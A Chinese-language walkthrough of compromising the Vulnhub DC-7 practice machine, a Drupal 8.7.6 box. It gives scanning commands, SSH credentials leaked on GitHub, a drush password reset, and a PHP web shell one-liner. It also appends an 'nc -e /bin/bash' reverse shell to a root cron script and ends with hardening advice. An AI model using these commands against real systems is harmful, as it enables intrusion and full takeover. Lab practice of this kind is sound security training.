Vulnhub内网渗透DC-7靶场通关
字数 1150 2025-08-10 13:48:25
DC-7 靶场渗透测试详细教程
靶场概述
DC-7 是 Vulnhub 上 DC 系列的第 7 个靶场,基于 Drupal CMS 构建。本教程将详细介绍从信息收集到最终获取 root 权限的完整渗透过程。
环境准备
-
靶机下载:
- 下载地址:Vulnhub DC-7 页面
- 文件格式:.ova
- 推荐使用 VirtualBox 搭建(VMware 可能存在兼容性问题)
-
网络配置:
- 推荐使用 NAT(共享)模式
- 靶机 IP:192.168.168.8(可能变为 192.168.168.9)
- 攻击机(Kali)IP:192.168.168.5
信息收集阶段
主机发现
arp-scan -l
# 或
nmap -sn 192.168.168.0/24
端口扫描与服务识别
nmap -sS -p- 192.168.168.8 # 全端口扫描
nmap -sV -p22,80 192.168.168.8 # 服务版本探测
扫描结果:
- 22/tcp: OpenSSH
- 80/tcp: Apache httpd
Web 目录扫描
使用 dirsearch 扫描网站目录:
dirsearch -u http://192.168.168.8
发现的重要文件:
- robots.txt
- config.php
- install.php
Drupal 版本识别
通过 install.php 确认 Drupal 版本为 8.7.6
searchsploit drupal 8.7.6 # 未发现直接可利用漏洞
初始访问
凭据发现
在网站页脚发现提示 "@DC7USER",通过 GitHub 信息泄露找到凭据:
- 用户名:dc7user
- 密码:MdR3xOgB7#dW
尝试 SSH 登录成功:
ssh dc7user@192.168.168.8
用户目录分析
在 dc7user 主目录发现 mbox 文件,包含重要信息:
- root 用户定期执行 /opt/scripts/backups.sh 脚本
检查备份脚本:
cat /opt/scripts/backups.sh
发现脚本使用 drush 命令(Drupal 命令行工具)
权限提升路径
利用 drush 修改 Drupal 管理员密码
- 确认 drush 可用:
drush --version
- 查看 admin 用户信息:
drush user-information admin
- 修改 admin 密码:
drush user-password admin --password="haha123"
获取 Web 后台访问
- 使用新密码登录 Drupal 后台
- 发现无法直接添加 PHP 代码,需要安装 PHP 模块:
- 在后台安装并启用 "PHP" 组件
- 添加 PHP WebShell:
<?php system($_GET['cmd']); ?>
或使用哥斯拉等工具连接。
利用定时任务提权
-
分析 /opt/scripts/backups.sh:
- 属主:root
- 属组:www-data
- www-data 用户可修改该文件
-
添加反弹 shell 命令到脚本末尾:
nc -e /bin/bash 192.168.168.5 4444
- 在 Kali 上设置监听:
nc -lvnp 4444
- 等待定时任务执行,获取 root shell
总结
关键渗透路径:
- 通过 GitHub 信息泄露获取 SSH 凭据
- 利用 drush 修改 Drupal 管理员密码
- 安装 PHP 模块获取 WebShell
- 利用 www-data 对备份脚本的写权限实现提权
安全建议:
- 避免在公开平台泄露凭据
- 限制敏感文件的权限
- 及时更新 CMS 系统
- 谨慎安装第三方模块
- 对定时任务脚本进行严格权限控制